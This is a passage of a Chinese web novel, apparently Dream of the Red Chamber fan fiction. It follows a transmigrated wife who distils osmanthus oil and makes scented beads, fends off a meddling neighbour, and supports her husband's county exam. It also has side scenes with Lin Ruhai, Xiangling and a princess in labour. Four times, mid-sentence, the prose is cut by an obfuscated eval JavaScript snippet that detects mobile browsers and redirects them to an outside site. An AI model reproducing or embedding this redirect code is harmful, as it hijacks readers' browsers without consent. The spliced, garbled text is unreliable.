楚明霁看了一眼，慢腾腾地盘腿坐在床上，思索了好一会儿，慢慢说道：“瑶儿，你之前说想买铺子。” 明瑶华动也没动，道：“嗯，长期做买卖最好有个自己的铺子，现在不买，等赚到银子后再说。” 楚明霁话语越发缓慢：“其实，娘还给我留了一笔银子，约摸有两千五百多。” “嗯。嗯？！”明瑶华猛的坐起来，盯着他，看不出是生气还是惊喜，问他，“哪来的银子，什么银子，我怎么不知道？”“你听我解释。” 楚明霁就知道她会急，忙安抚她，“这笔银子是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353306|167983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们婚后娘才告诉我的，她存在钱庄里，除了她谁也不知道有这笔银子。” “啊？”明瑶华张大嘴巴，虽然是在房里，还是下意识压低声音，“娘偷偷给你留了一笔银子，没给大哥？她这么早就知道大哥靠不住了？这么大一笔银子，娘从哪里得来的？” 明瑶华就没想过楚家能有两千多银子的家产，但是楚母的银子是哪里来的？ 楚明霁解释道：“娘说，我生父是大户人家的小管事，意外死了，她就带着我生父的家资投奔姨婆，改嫁给我爹。银子是这么来的。” 他换了个姿势，将明瑶华抱在怀里，继续说：“其实，我本来应该有一个弟弟或是妹妹的，我娘生了我第二年就又怀了。娘说已经五个月了，都会动了。那时候村里人说肚子尖尖，可能是个男孩，夸我爹好福气，就这么传来传去的。之后，”他顿了顿，“之后，发生了一点意外，被村里的一个烧坏了脑子的孩子推了一把，已经成了人形的胎儿，就这么没了。” 明瑶华心一紧：“娘是怀疑大哥？” 楚明霁点头，冷笑道：“娘当时就留了心眼，最后问出来，大哥给了傻子两块点心，指使傻子做的。不然这笔银子应该早就在县里买了宅子铺子，大哥也会在县里读书识字，当个账房，娶县城的女子，再不必下地种田。” 说到最后，他眼眶微红，语带恨意，大哥对他很有哥哥的样子，小时候一群小孩子一起玩耍，有人欺负他，还是大哥出头帮他欺负回去。 婚后楚母和他说往事内情，他还不敢相信，一边是母亲一边是兄长，两头为难。 直到父母去世，大哥暴露出真面目，新仇旧恨混在一起，他才断了对兄长的兄弟情义。 明瑶华默默陪伴，等他情绪缓和下来。 这边夫妻相伴，那厢却是形单影只，独坐对月。 扬州盐运使司衙门官署，盐运使林府内院 林如海独坐在花园凉亭，石凳上垫着一个石青色祥云纹云缎坐垫，桌上摆着几样干果点心，并一壶苏州三白酒。 管家林安给他披上一件薄披风，劝道：“老爷，夜深寒凉，你要保重身子，小姐在京城全靠着你啊。” 林安打小就是林如海的书童，跟着林如海一路从苏州到到京城，再外放到金陵，到扬州，看着他以一己之力将没了爵位的林家撑起来，可惜，人到中年，几多不如意，林家的未来不知着落在何处。 林安惋惜地想：要是太太生的哥儿能活下来就好了，就算天资普通，有大小姐在，姐弟二人互相扶持，暂时蛰伏，等到来日，有个出色的后辈，林家未必不能重振门楣。 林如海举起酒杯一饮而尽，含泪长叹：“如今，我放不下的唯有一个玉儿了。” 中秋团圆之夜，他和家乡近在咫尺却不能回乡，和父母妻子阴阳相隔，和孩子分隔南北两地，为官上要在圣上和上皇之间左右逢源，心力交瘁，细细想来，竟无一件得意事。 “老爷既然顾念着小姐，更应该保重身子，您就是小姐的靠山，有您护着，小姐在荣国府才是尊贵的表小姐。”林安可不信什么外祖母疼爱外孙女，荣国府老夫人又不是没有亲孙女，就是再疼爱，如今是儿子当家，荣国府老夫人不得顾忌着儿子儿媳的脸色？ 有个三品官的爹才是大小姐在外家的底气，否则，就是个碍眼的破落户亲戚罢了。 “我何尝不知！为了玉儿，我也要再撑个十几年。”林如海似是振奋起来，掐了掐太阳穴，起身，随口吩咐道，“夜深了，别打扰歇下的下人，明天再让人来撤了桌上的茶果。” 林安道：“诶，知道了。” 9. 木樨香珠 楚明霁在备考院试，明甫光还在补他之前落下的功课，明瑶华除了当后勤管家，准备饭食以外，她的空闲时间也没浪费。 在今天春天她就画图纸定做了一套蒸馏设备，因那时还在孝期，不好买花儿朵儿这种和玩乐沾边的东西，就一直放在后罩房里。 如今正是桂花盛放时节，正好可以蒸馏出桂花纯露、桂花精油，做香皂的时候加一点纯露和精油，做出来的香皂就有持久淡雅的桂花香气，既可以清洗洁净，又可以用来熏香衣物。 明瑶华一并买了白炭、烈酒、瓷瓶、冰块等物，用了二十两银子——白炭买的多，不然等入冬了也是要买的，冰块则是反季节产物，硬是昂贵。 好在因花的钱多，他们家又是在扬州城里，可以免费送货上门。 另外花了六百个铜板，买了十斤新鲜无杂质的鲜桂花，洗净后按照花和水一比三的比例在院子里烧炭火蒸馏。 炭火燃了半天，桂花的香气渐渐在院子弥散，甚至飘逸到院墙外头。 路过的人仔细闻嗅：“哪里来的桂花香？” 这附近可没有桂花树。 明甫光原是在东厢房的书房内练字，闻到香味坐不住了，搁下毛笔就跑出来。 他好奇地看着陶瓷密封大瓮里伸出一根弯曲的管子，管子弯曲部分在一个装满冰块的木桶里，管子另一头从木桶下部出来，正一滴一滴地滴落水珠到一个形状奇怪的盛放容器里。 这套怪模怪样的东西他只在送来时见过一次，原来是这样用的。 “姐姐，这就是木樨香露吗？这么香，真的能喝吗？”明甫光蹲着问。 “是木樨清露，能喝。”明瑶华远远坐在屋檐下盯着，手里拿着把蒲扇不停地扇，额头后背都是汗液，她状似随意地说：“要是有人给我扇扇风，等我休息够了，一会儿就做冷泡蜂蜜香露乌龙茶。” 这么长的名字，听起来就很高贵神秘，明甫光眼睛一亮，跑到明瑶华身边，殷勤地扇扇子，嘴上还在表忠心：“姐姐，我可不是为了冷泡蜂蜜香露乌龙茶才给你扇扇子的，我就是想伺候姐姐，想让姐姐开心。” 楚明霁不知何时出来了，一边绕着蒸馏设备观察一圈，一边笑出声：“光弟，你就是你姐姐的佞宠。” 明甫光学过佞宠的含义，不以为耻，反以为荣，喜滋滋道：“我愿意当姐姐的佞宠。姐姐，我扇的凉不凉快，要不要再大力点？” “嗯，很凉快，保持这样就好。” 享受一刻多钟，明瑶华就将两人赶回去做功课了。 明瑶华在蒸馏瓷瓮底下加了一些炭，就去给瓷瓶消毒——先用沸水煮一刻钟，再用烈酒均匀地润一遍，之后晾干瓷瓶。 十斤桂花分三次蒸馏，从上午到下午，一共收集了接近十斤的纯露，和一点点精油。 纯露分装进十五瓷瓶里，密封保存起来，和精油一起放在后罩房最阴凉的角落。 晚上，明瑶华叫了一桌席面，庆祝她成功蒸馏出木樨香露和木樨精油，触类旁通，其他的芳香类植物也能用蒸馏提取出香露和精油。 这在大景朝可是独一份的商业优势。 明瑶华侃侃而谈未来的商业计划，举起盛了冷泡蜂蜜香露乌龙茶的茶碗，充满干劲地道：“为了我们的好日子，干杯！” “当！” “当！” 两声轻轻的碰杯声。 趁着成功提取纯露和精油的这股劲儿，明瑶华在第二天把桂花香皂也做出来了。 模具是很早之前就买的，牡丹、芙蓉、葡萄、柿子四个花样，明瑶华往模具里装上皂液，放在后罩房阴凉处让香皂凝固皂化。 按说明瑶华应该歇一歇了，但干劲一旦上来了就停不下来，她又买了一斤干桂花，一点龙脑香，一斤楠木粘粉，用小石磨磨粉过筛后按比例混合，加入纯露和成泥，花了两天时间做出了木樨香珠。 搓珠期间还紧急去找曹木匠做了两个塑形珠子的模具。 等珠子阴干之后，便需要打磨抛光上蜡。到这一步明瑶华心中那股热切的劲头已经消退得差不多了。 看着明瑶华烦恼的模样，楚明霁抿着唇，随后给她出主意：“你去问问曹木匠能不能做这个活，他们做家具的，想来做惯了打磨抛光的活计，就算曹木匠看不上这点小活，他底下还带着两个徒弟呢。” 他还记着曹木匠的儿媳妇徐氏做的事呢，但曹木匠确实是个靠手艺活吃饭的勤恳老实人，没什么走捷径的脏心思，只是偶尔寻他一次，倒也没什么。 “哎呀，我怎么没想到，之前曹木匠帮做的两个小模具他都没收我钱。我这就去他家看看。” 明瑶华兴冲冲地拿一个木匣子装了百来颗香珠，出门往巷子里走去。 楚明霁想了想，嘱咐明甫光好好看家，跟着出去了。 恰好曹木匠在家休息，看了一眼盒子里的珠子，道：“这样指头大小的珠子，要一颗颗打磨、抛光、上蜡，约摸一天可以做好。要是我儿子来做，要收二百文钱，如果是让我来做，就要三百文钱。童生娘子，你看看你要谁来做这个活？” 爹和儿子相差一百文，明瑶华犹豫了下，偏向于选曹柱儿，左右这只是她的练手之作，自家人戴着玩儿的，等以后做了要市卖的腕香珠，再多方比对木匠手艺不迟。 楚明霁先她一步道：“那就麻烦曹大叔了。” “行，我的手艺你们就放心吧，一定把这些打磨得光滑漂亮。”曹木匠笑着应下。 他也原意干这活，不仅是多一百文钱，更是展示了他的家庭威严。 儿子长大了能赚钱了，又有了小家，曹木匠未免担忧儿子翅膀硬了不听使唤，但只要他的手艺活比曹柱儿的好，还能赚得到钱，他的心就是稳当的。 徐氏在厢房透过窗户看到楚明霁清俊出众的面容，举手投足自有一股与金鱼巷众人不同的气度，站在他身旁的女子亦是容色不俗，用郎才女貌四个字来形容再合适不过。 登时她心下酸涩得厉害，伸手摸了摸自己的脸庞，不甘心地想，她好好打扮一番，也不比楚童生的妻子差。 只是她已经嫁了曹柱儿，什么都不可能了。 徐氏摸了下肚子，落寞转身，回到内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353307|167983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室坐下。上次她挪用了曹婆子把持的银钱，惹得曹婆子大怒，她羞愧之下撞向柱子，脑门流了一大滩血，请了大夫来，一把脉却是先诊出了喜脉，她腹中已经有一个月的身孕了。 也幸亏有这个孩子，她用了曹家银子的事情算是揭过去了。 虽然心中知道她和楚明霁是无缘无分，徐氏还是忍不住在两人走后去问曹木匠：“爹，楚童生来咱们家是有什么事吗？” 曹木匠道：“也没甚事，就是来请我打磨珠子的。” 徐氏微不可见地皱了下眉，“珠子？是什么样的珠子？” 徐氏知道年轻姐儿爱俏，或是做珠帘挂在房中，或是做手串戴在腕上，只是不该是这个时候，楚童生院试在即，童生娘子怎么还将心思放在这些女儿家的杂事上头？ 曹木匠和这个儿媳妇相处不多，加上徐氏是读书人家出来的女儿，他一向高看一眼，就算是发生了偷拿银子的事，他也没一直记着，过去就过去了，以后改了就成。 因此还是如往常一般待她，当即打开匣子给她看了一眼匣里的珠子。 徐氏拿起一颗仔细观看，珠子中间有孔洞，且散发着清幽的桂花香。 她愈加笃定了明瑶华只顾着自个儿的女儿家心思，分不清事情的轻重缓急。 这怎么行呢？ 听说楚童生娘子早年丧母，许就是失了母亲的教导，这才不懂得女儿家的贤惠庄重。 怀着这样的心思，徐氏思虑再三，还是按捺不住，找上了明瑶华。 明瑶华回家刚收拾好蒸馏设备和小石磨等物件，就听到门外传来叩门声。 她打开门看到徐氏，一脸惊诧，虽然和徐氏之前并无来往，以后也不想和她有来往，但人都到门前了，且她和徐氏也没有明面上的矛盾，看在曹木匠的面子上，她还是让人进门坐下，送上一杯温水。 徐氏环视一圈四周，鼻端还能嗅到淡淡的桂花香，她在心中叹了口气，道：“童生娘子，我听说楚童生预备参加今年的院试？” 明瑶华搞不清她的来意，只点头道：“是的。” 徐氏坐正了，语重心长道：“唉，童生娘子，这些话我本不该多嘴的。只是我比你略大两岁，心里是拿你当妹妹看待的，有些事我看到了不能不说。” 明瑶华：“……” 知道是多嘴就别说！ 明瑶华没反驳，面带微笑，静静地听着，徐氏以为她听进自己的话了，不自觉地用上了教导责备的口吻：“男子科考何等重要，如今正是楚童生的紧要关头，你当好好照顾他的饮食起居，怎么还有心思摆弄什么花儿珠儿的？等楚童生考取了功名，你要什么好东西没有？妹妹你听我的，赶紧弃了那些杂玩意儿，专心管好家中事宜，让楚童生无后顾之忧地参加科考。” 明瑶华快气笑了，她抿唇，默了一瞬，而后真诚地道：“姐姐比我有见识，我有个疑惑不懂，想请教姐姐，不知可不可？” “你问就是。”徐氏背靠着椅背。 明瑶华道：“我想请教姐姐，可否解释一下各家门另家户这句俗语是什么意思？” 10. 金陵码头 “你……”徐氏的脸一下子涨得通红，想要开口辩驳，一时又不知怎么说，只尴尬得嗫嚅着嘴唇。 明瑶华直视她、意有所指地道：“曹嫂子，你在金鱼巷是出了名的体面人，只是各家门另家户的，你这些话，留着去教导你娘家妹子去吧。” 徐氏心虚地缩了下手指，别过脸，不敢对视明瑶华，对方明明一句过分话都没说，但字字戳到她的短处。 自从那日她婆婆大闹一场，她在金鱼巷的名声体面也丢了大半。 而在七月中旬那会儿，明瑶华病了好一阵子，她确实存着不可说的心思，将妹妹接来金鱼巷住了一些时日。 难道，对方知道了？ 徐氏手脚骤然冰凉，有种脸皮被扒下来扔到地上踩的错觉，她勉强挤出一个笑脸，强撑着道：“我也只是好意提醒一声，童生娘子既然不愿意听，就当我没来过吧。” 徐氏慌乱起身就要走。 明瑶华先前就听说她怀孕了，算来还没满三月，怎么可能让徐氏在和自己发生一点小争执后出门，万一徐氏心虚羞愧之下，拿孩子扯幌子，自己可冤死了！ 当即亲亲热热地走到徐氏跟前，搀扶着她往门外走，一边给她道不是：“曹嫂子别见怪，我自小就被家中父母宠惯了，说话直来直往的，有哪里得罪了嫂子，嫂子跟我直说就是了。” 金鱼巷子不长，多走几步路就到了巷子尾的曹家。 曹家隔壁的李大娘正敞开院门，坐在门口纳鞋底。 她看到明瑶华和徐氏走在一起，又吃惊又好奇，手里的活儿都顿住了，站起来左右望望这两人，直白地打听：“惯常只见童生娘子和齐家的交好，几时也和曹柱儿家的关系这般好了？” “我们……”徐氏想说只是碰巧见到。 明瑶华已经知道李大娘的嘴巴就是个漏勺，是个藏不住话的，她笑着截话道：“曹嫂子是个热心人，主动来我家教导我如何安排家事、照顾一家老小呢。我感激曹嫂子，怀着孩子还这么热心肠，这不，就是几步路我也得亲自送曹嫂子回家呀。” 哦，原来当中还有这一门子官司。 李大娘眼珠子左右乱转，胡乱猜测，这徐氏的妹子连楚童生的衣角都没碰着，徐氏就急赤白脸的上门去教人家正头娘子做事了？ 啧啧啧，徐氏的胆子比她想象的还要大！ 看着李大娘那副模样，徐氏就知道不好，不知又要被编排成什么样了，若要解释只怕越描越黑，一时又羞又恼，恨恨地甩开明瑶华的手臂，径直进了曹家院子。 徐氏上楚童生家对童生娘子指手画脚的事，当天晚上就通过曹婆子传到曹木匠的耳朵里。 “这个徐氏，怎么做这样的糊涂事！她算哪个牌面的人物，就敢上门教人做事了？”曹木匠气急，在屋内转了两圈。 曹木匠没少给官家富户雕刻家具，自然知道如楚童生这样的读书人，一旦科举得中，那就是他们小老百姓高攀不起的贵人了。 就算考不中，楚家也是他们潜在的主顾，就比如今日打磨珠子的活，既然是主顾，那就得敬着捧着，多说好话。 小手艺人的想法就是，不能轻易得罪人，坏了名声以后就不好接活做了。 曹木匠想来想去，本来都预备睡下了，还是不放心，穿上外衣，在曹婆子对徐氏的嫌弃声中打开房门，去木作房点亮油灯，连夜把剩下的一半香珠打磨上蜡完毕。 第二天早上，明瑶华看着匣子里颗颗精美、散发着桂花香的珠子，心中满意，取出串好的三百文钱交予曹木匠。 曹木匠却满脸歉意：“童生娘子，快把钱收回去。我听说我家那儿媳妇来您家里说了些不该说的话，都是我家没管教好她，哪里还有脸收您的钱呢？就当是我为儿媳妇赔罪，给您家里做的这桩活计。” “昨天曹嫂子就是来找我说说话，并没有什么大事。”明瑶华依旧把一串钱放到曹木匠手上，抓起一把珠子仔细看，笑着道：“这匣子里每一颗珠子都打磨得极好，可见是花了时间的，曹大叔你要是不收钱，以后我哪里好再找你帮做活？” 话说到这份上，曹木匠只得收了钱，嘴里再三道罪，瞧着明瑶华神色无虞，才放心离去。 明瑶华却是打定主意，以后宁肯麻烦些找别处的木匠，也要远着曹家和徐氏了。 楚明霁从书房出来，懊悔道：“早知道就等两天，向齐兄打听打听哪里有别的好木匠。” 明瑶华宽慰他：“这也是没想到的事，曹木匠的为人和手艺都是不错的。且都是邻里邻居的，就是问齐大哥，他先推荐的也定是曹木匠。” “罢了，不提这事，你别将那徐氏的话放在心上就好。”楚明霁坐下发出感慨，“难怪古人说千金买房，万金买邻！” 明瑶华一下子笑出声，侧坐到他怀里，双手揽着他的脖子，促狭道：“《论语》里说见贤思齐，见不贤而内自省。明霁哥哥就以此为考题，作一篇策论，如何？” “你这个小刁钻。”楚明霁在她脸上亲了一口，语含笑意。 ＊ 对楚明霁院试上心的外人，还有秀水村的楚家兄嫂。 “娘，二叔好久没没回家了，他是要考中秀才了才回家吗？” 楚进才八岁多，分家时的闹剧他懵懵懂懂，只知道爷爷奶奶没了，二叔和二婶就不在家住了。 楚大嫂抱着一岁的二儿子楚盛在哄，听到大儿子楚进突然说起被分出去的小叔子，愣了愣，“什么考秀才，你听谁说起你二叔了？” “在学堂听夫子说的，夫子说二叔是等着考中秀才衣锦还乡，还说爹和娘会后悔。为什么爹和娘会后悔？” 迎着孩子清澈的眼神，楚大嫂噎了一瞬，冷哼道：“考中个秀才算什么，等他当了官儿再说吧。” 楚进不知道娘为什么不高兴了，低头和背了好几遍也没能记住的文章较劲。 楚大嫂抱着小儿子，看着大儿子手里拿着书本，心中充满了期盼，“娘不稀罕你二叔的秀才，娘就等着你给娘考一个秀才回来，那才是娘的风光呢。” 话虽这么说，等家里男人回来了，楚大嫂还是悄悄和楚雷声说道：“万一他真考中了怎么办？中了秀才倒没什么，我就怕他运气好，以后真能有个官当，他不得回来报复我们？” “怕、怕什么，他就是当了官，也是我楚家、楚家的人。”楚雷生得了大笔的家业，当上了秀水村的小地主，田地都租出去给佃户种，闲暇就出去喝酒闲聊，喝得浑身酒气回来，一开口就将楚大嫂熏得扭开脸。 “他敢忘本，我就让村里的叔伯们告他不孝、不孝不悌，他的官别想好好的、好好的当下去。” 楚雷生酒气上头，说话都不利索，脸上的横肉也被酒意熏红了，脑子还打着好算盘。 他读过两年书，后来嫌读书累就不读了，但还记得教书的夫子说过，读书人是最重名声的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353308|167983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，要孝顺父母，友悌兄弟，否则长辈一状告到衙门去，官途就毁了大半。 何况楚明霁还不是楚家的血脉，更要感恩楚家给了他一个容身之处。 至于家里的宅子田地，就算是楚母带来的嫁妆置办的又如何，既然到了楚家，那就是楚家的家产，他是楚家长子，合该拿大部分家产。 见男人说得底气十足，楚大嫂也放下心来，把这事抛到脑后，一心催着楚进好好读书，以后考秀才考举人，最好考个状元回来。 ＊ 时间到了九月末，院试的日子越来越近，明瑶华突然生出几分紧张，每日都买了新鲜的菜肉，做四菜一汤，兢兢业业地照顾考生，就像她前世高考享受的待遇一样。 楚明霁还是一派云淡风轻、胸有成竹的模样，日日的学业都照着计划来，偶尔还有空闲指点明甫光的功课，日子平静而温馨。 而在金陵码头，随着船家解缆扬帆，一艘高大楼船缓缓离开渡口，沿着运河北上，目的地是遥远的京城。 被赐名香菱的薛家丫鬟趴在小小的窗户边上，眼里含着两泡泪水，眼眶发红，呆木木地看着越来越远的金陵。 她被拐子拐走后被多处转移，长期困在屋内不得自由行动，但依稀还有小时候的记忆。 她有父有母，父母待她很是疼爱，家中也有丫鬟服侍。 她说话一直是江南一带的口音，金陵的方言也能听懂一些，她的父母一定是金陵附近的人。 这一去京城，也许再也回不来金陵了，再也没了寻找父母的盼头。 同屋的来珠和来宝安置好包袱，彼此对视一样，走过去劝她。 来珠道：“你也别哭了，哭哭啼啼的不吉利，被主子知道了是要被骂的。” 来宝道：“咱们家太太和小姐待人和气，并不打人骂人，你别害怕。” 来宝是看过香菱刚来薛家，身上带着的一身伤痕的。 香菱之前在拐子手里，没少受皮肉之苦，故此劝导。 来珠又小声道：“大爷虽鲁莽些，你顺着他也就是了，你听话，他也不会打你，以后跟着大爷，平平静静本本分分的过日子就是了。” 这话来珠说得心虚，声音越来越小。 薛大爷自大冲动，没个能耐样，被人一捧就不知道天高地厚了，薛太太又抠门，薛老爷死了没多久就降了下人的月例银子，薛家不是好呆的。 来珠和来宝相貌普通，是薛太太底下的二等丫鬟，但她们父母是薛家店铺的管事，家里早打算好了，过几年满二十了就给她们赎身嫁人。 但来珠知道大爷是为着这个眉心有一点红痣的美貌姑娘惹出的人命官司，想来是不肯放手的，要不是太太以香菱年纪还小拦着，早就成了大爷的通房丫鬟了。 只是太太能拦得了一天两天，一两年后香菱再大些，迟早拦不住。 不如劝一劝香菱，她心里愿意了也能少受些罪。香菱胡乱用袖子擦擦眼泪，哑着声音、乖乖巧巧地说道：“多谢两位姐姐教我，我一定听太太的话。” 看着粉妆玉琢、乖巧听话的香菱，来珠和来宝面带怜惜，安慰道：“先别想那些，我们帮你安置铺盖，要在船上住好些天呢。” 只是香菱的铺盖还没铺好，外头传来一声：“香菱出来，大爷来看你了。” 这声音宛如晴天霹雳，香菱吓得浑身僵硬，牙齿咬紧唇瓣，在外头的催促声中一步步走出去…… 11. 院试、生产 夜半时分，天上挂着一轮孤月，闪烁着微弱光芒的稀疏星辰散落在空中。 扬州城被寂静的黑夜笼罩，百姓陷入甜梦，唯有一处地方灯火通明，热闹非凡，那便是扬州贡院门口。 江南地区向来文风鼎盛，才子辈出，扬州府八个县加起来参加院试的考生能有四千多人，光是唱名搜检，就需要几个时辰。 由于考生人数众多，不得不从地方州县调来衙役帮着维护秩序，搜检考生的搜子则是由学政随机调遣的卫所士兵负责，避免地方州县的衙役和考生串通一气，秘密携带小抄舞弊。 子时开始入场搜检，考生们拎着考篮，按籍贯排成八列，结保的考生五人一小组，由作保的廪生唱名核对后，搜子带到一处检查，就连考篮里的东西也要细细查过。 等着进考场的考子多，子时开检，约摸寅时末卯时初才能全部检完。贡院大门在卯时中准点关闭，考生们都是赶早不赶晚，宁愿排队等着也不敢耽误。 楚明霁和周从宜、汪俊、姚俊成以及季则陈廪生几人排在队伍中间，举目望去人头攒动。 周从宜不禁感叹起来：“如今的考生一年比一年多，录取的名额却没有提升，还是和旧时差不多，要考取功名是越来越难了。” 十月份的夜间已然寒冷起来，陈廪生搓了搓冰凉的手，道：“莫慌，我看你们几个都是年轻力壮的，精力足，这就是你们的优势了。须知科举拼的不仅仅是才学，还有身子骨。” 考试前一晚是没法子好好休息的，有些四十岁以上的还在院试打转，精力比起二十左右的年轻人是真比不过。 几人都知道今晚要连夜排队等待进考场，白天皆是睡到了将近傍晚方起身，此时也不困，有闲心聊天。 周从宜穿着好几身夹衫，微觉寒意，忍不住问道：“天冷夜长 ，考棚里也无法好好休息，明日还要做题，光靠年轻也是扛不住的。你们都带了什么提神醒脑之物？” 汪俊抬了抬下巴，笑道：“我娘给我备了参片，长白山那边的百年山参，补气强身的，不拘是用热水泡一泡还是直接含到嘴里都成。” 你娘给你备的人参还是我大伯送去你家的，姚俊成腹诽。 当着众人的面，他眉毛也没动，脸上挂着一如既往的和缓笑意：“我备的和汪兄的一样。” “巧了，哈哈，我家里备的也是参片。”周从宜叫出声，“我娘说科考不易，不能在这关键关头俭省。” 他伸手勾住楚明霁的肩膀，猜测道：“明霁兄，嫂子是个灵巧人，她给你准备了什么？也是参片？” 汪俊低垂着头看不清神色。 陈廪生也经受过穷困，瞥了他一眼，思索着待会儿怎么给汪俊解围。 想到明瑶华和明甫光为他忙活着碾磨茶叶芝麻的模样，楚明霁嘴角勾起，没拨开周从宜的手，道：“不巧了，内人给我备的是一包擂茶。” 擂茶是湖广一带的特产，但扬州是繁华大城市，往来商贩不计其数，擂茶的做法也被带到了扬州。 在场的几人当然都听说过擂茶，只是要么没吃过，要么没想到。 姚俊成便是那个没想到的，他一拍脑门，懊恼道：“这倒是好东西，擂茶里面有茶叶、芝麻、花生、大米，提前炒制研磨成粉，到时在考场里要一壶热水一冲，暖乎乎喝下肚，又饱腹又提神。倒比我带的人参好多了。” 眼见着姚俊成要把话头说到别处，周从宜担心季俊觉得被冷落，忙问道：“季兄，你带的是何物？” “我娘给我备了老姜红糖。”季则看了一眼楚明霁，腼腆地笑道。 他原担心众人都带人参片，就他带的老姜红糖显得寒酸。 不过既然楚明霁带的擂茶都是用的普通东西，茶叶芝麻等物他家也置办得起，那股子贫穷带来的难堪顿时消散无形了。 陈廪生立即赞道：“这倒比明霁带的擂茶更方便易得，且同样能提神饱腹。” 姚俊成不同意，“我觉得还是楚兄的擂茶好。” 周从宜知道姚俊成和汪俊交好，而汪俊一贯看不上季则，未免季则多心，他又是打圆场又是真心实意道：“楚兄有一位贤惠的娘子，我们是远远比不上楚兄的。” 说到这个，他不由埋怨道：“明霁真是和我生分了，嫂子做的火腿月饼实在美味，你也不早与我分享。还有那香皂，我娘用了，爱的什么似的，就是花钱买也愿意，只可惜没处买去。” 楚明霁心思一动，周从宜几人都是潜在的香皂购买者，他笑道：“香皂是内人母家带来的嫁妆方子，她倒是想开一个小铺子赚些脂粉银子，只是担心没人愿意买。” 周从宜夸张道：“怎么会没人买？你让嫂子尽管放心，等她的铺子开张了，我们一家子都去光顾。” 汪俊听了半天，问：“香皂是何物？是做什么用的？” 此时队伍往前，周从宜一边走一边眉飞色舞地解释，简直要把香皂夸上天，“比胰子好用一百倍！要是能做出来市卖，赚钱养家的担子可就轮不到楚兄了。” 姚俊成敏锐得听出了商机。 季则快速看了楚明霁一眼，低头掩住眼底的异样神色。 没一会儿，就轮到他们搜检，陈廪生唱名，小吏核对无误，几人就被带去一处房间连人带考篮都搜检一遍。 之后，几人各自前往自己的考棚。 此时已经是寅时了，明瑶华躺在床上，脑子思来转去，亢奋得很。 也不知道楚明霁在考场里怎么样了，明瑶华在脑里过一遍院试内容——一共考三场，第一科是帖经墨义二选一，帖经是填空，墨义是名词解释，这场不比说楚明霁，就连她和明甫光下场都能取得好成绩。 接着是作一首应试诗，楚明霁不知道哪儿得来的天分，做起诗来行云流水，一挥而就，这一场也不必担心。 第三场是作策论，这是主观题，一半看考生的水平，一半看考官的个人偏好，不好下定论。但已楚明霁的实力，不用担心吧？ 明瑶华一下子自信满满，一下子担忧不安，心头乱糟糟的，索性起身点灯，铺开纸张，研磨练字，以此平心静气。 深夜突然点亮灯烛的不只是金鱼巷的小宅子，还有坐落于府衙附近的陆同知府上。 平昌郡主睡梦中腹部一痛，感到一股热流从身下流出，她闷哼出声，“朝云。” 郡主临产之际，朝云不放心别人，每夜都要守在郡主的床榻边，床上一有点动静，她就警醒地竖起耳朵。 此时听到郡主低低地叫了一声她的名字，瞬间清醒过来，“奴婢在呢。” 她翻身掀开帘子，想问郡主是要喝水还是如厕，却看到平昌郡主紧拧的眉头，平昌郡主忍痛道：“去，去叫稳婆来。” 郡主要生了！ 不过一刻钟，陆府便一片灯火通明。 以崔二娘为主的三个稳婆在进入内室前，先用胰子细细地洗干净手脸。 崔二娘的双手先在热水里浸泡，又在炭盆前烘过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353309|167983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，确保不会让平昌郡主感到一丝凉意。她摸了摸平昌郡主的肚子，又看了看下面，心里有数，脸上笑成一朵花儿，“郡主别怕，还需等一会儿，您先吃点东西补补力气。” 崔二娘想到郡主平安生产之后得到的赏钱，嘴里的好话一连串地溜出来：“您的胎位正，胎儿养的又好，不难生的。有我崔二娘在，包你母子平安！” 韦奶娘端来一碗鸡汤面，郡主硬逼着自己吃下，胃里暖和起来，疼痛也轻了些许。 陆同知听到下人来报说妻子发动了，裹起外衣大氅就跑去叫醒候在府里的大夫，大步奔到正房，带着一身寒气在外间被丫鬟婆子拦住，转而走到廊下窗边，对着内室喊道：“兰均，我在这儿，我在门口守着你。” 房里平昌郡主已然进入生产，崔二娘赶紧道：“快派个人去让陆大人安静些，别搅了郡主的心神。” 又对平昌郡主说：“郡主您可千万大声说话，攒着力气，等孩子生出来了，您想说什么都行。” 